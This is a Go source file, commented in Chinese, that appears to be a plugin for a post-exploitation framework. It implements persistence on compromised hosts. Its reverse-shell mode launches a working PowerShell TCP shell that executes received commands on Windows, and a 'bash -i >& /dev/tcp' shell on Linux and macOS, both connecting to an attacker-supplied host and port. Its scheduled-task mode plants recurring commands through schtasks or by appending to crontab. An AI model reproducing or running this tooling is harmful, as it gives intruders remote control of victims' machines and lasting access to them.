package plugins

import (
	"fmt"
	"os/exec"
	"runtime"
	"strings"
	"time"
)

// PersistencePlugin 持久化插件
type PersistencePlugin struct{}

// NewPersistencePlugin 创建新的持久化插件
func NewPersistencePlugin() *PersistencePlugin {
	return &PersistencePlugin{}
}

// GetDescription 获取插件描述
func (p *PersistencePlugin) GetDescription() string {
	return "实现持久化控制，包括反向shell、定时任务等"
}

// Execute 执行持久化操作
func (p *PersistencePlugin) Execute(args map[string]interface{}) error {
	// 获取持久化类型
	persistType, ok := args["type"].(string)
	if !ok {
		return fmt.Errorf("缺少必要参数: type")
	}

	// 根据持久化类型执行不同的操作
	switch strings.ToLower(persistType) {
	case "reverse_shell":
		return p.setupReverseShell(args)
	case "scheduled_task":
		return p.setupScheduledTask(args)
	default:
		return fmt.Errorf("不支持的持久化类型: %s", persistType)
	}
}

// setupReverseShell 设置反向shell
func (p *PersistencePlugin) setupReverseShell(args map[string]interface{}) error {
	// 获取目标地址和端口
	host, ok := args["host"].(string)
	if !ok {
		return fmt.Errorf("缺少必要参数: host")
	}
	port, ok := args["port"].(string)
	if !ok {
		return fmt.Errorf("缺少必要参数: port")
	}

	fmt.Printf("\n设置反向shell:\n")
	fmt.Printf("目标地址: %s:%s\n", host, port)

	// 根据操作系统选择不同的shell命令
	var cmd *exec.Cmd
	switch runtime.GOOS {
	case "windows":
		cmd = exec.Command("powershell", "-c",
			fmt.Sprintf("$client = New-Object System.Net.Sockets.TCPClient('%s',%s);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()", host, port))
	case "linux", "darwin":
		cmd = exec.Command("bash", "-c",
			fmt.Sprintf("bash -i >& /dev/tcp/%s/%s 0>&1", host, port))
	default:
		return fmt.Errorf("不支持的操作系统: %s", runtime.GOOS)
	}

	// 启动反向shell
	if err := cmd.Start(); err != nil {
		return fmt.Errorf("启动反向shell失败: %v", err)
	}

	fmt.Println("反向shell已启动")
	return nil
}

// setupScheduledTask 设置定时任务
func (p *PersistencePlugin) setupScheduledTask(args map[string]interface{}) error {
	// 获取命令和间隔时间
	command, ok := args["command"].(string)
	if !ok {
		return fmt.Errorf("缺少必要参数: command")
	}
	interval, ok := args["interval"].(string)
	if !ok {
		return fmt.Errorf("缺少必要参数: interval")
	}

	fmt.Printf("\n设置定时任务:\n")
	fmt.Printf("命令: %s\n", command)
	fmt.Printf("间隔: %s\n", interval)

	// 解析间隔时间
	duration, err := time.ParseDuration(interval)
	if err != nil {
		return fmt.Errorf("无效的时间间隔: %v", err)
	}

	// 根据操作系统选择不同的定时任务方式
	switch runtime.GOOS {
	case "windows":
		// 使用Windows计划任务
		cmd := exec.Command("schtasks", "/create", "/tn", "PersistenceTask",
			"/tr", command, "/sc", "minute", "/mo", fmt.Sprintf("%d", int(duration.Minutes())))
		if err := cmd.Run(); err != nil {
			return fmt.Errorf("创建计划任务失败: %v", err)
		}
	case "linux", "darwin":
		// 使用crontab
		cronEntry := fmt.Sprintf("*/%d * * * * %s\n", int(duration.Minutes()), command)
		cmd := exec.Command("crontab", "-l")
		currentCron, _ := cmd.Output()

		cmd = exec.Command("crontab", "-")
		cmd.Stdin = strings.NewReader(string(currentCron) + cronEntry)
		if err := cmd.Run(); err != nil {
			return fmt.Errorf("添加crontab失败: %v", err)
		}
	default:
		return fmt.Errorf("不支持的操作系统: %s", runtime.GOOS)
	}

	fmt.Println("定时任务已设置")
	return nil
}

// GetRequiredParams 获取插件所需参数
func (p *PersistencePlugin) GetRequiredParams() []PluginParamInfo {
	return []PluginParamInfo{
		{
			Name:        "type",
			Description: "持久化类型: reverse_shell(反向Shell), scheduled_task(定时任务)",
			Required:    true,
			Default:     "",
		},
		{
			Name:        "host",
			Description: "接收连接的主机 (用于反向Shell)",
			Required:    false,
			Default:     "",
		},
		{
			Name:        "port",
			Description: "接收连接的端口 (用于反向Shell)",
			Required:    false,
			Default:     "",
		},
		{
			Name:        "command",
			Description: "要执行的命令 (用于定时任务)",
			Required:    false,
			Default:     "",
		},
		{
			Name:        "interval",
			Description: "执行间隔，如\"30m\"、\"1h\" (用于定时任务)",
			Required:    false,
			Default:     "",
		},
	}
}
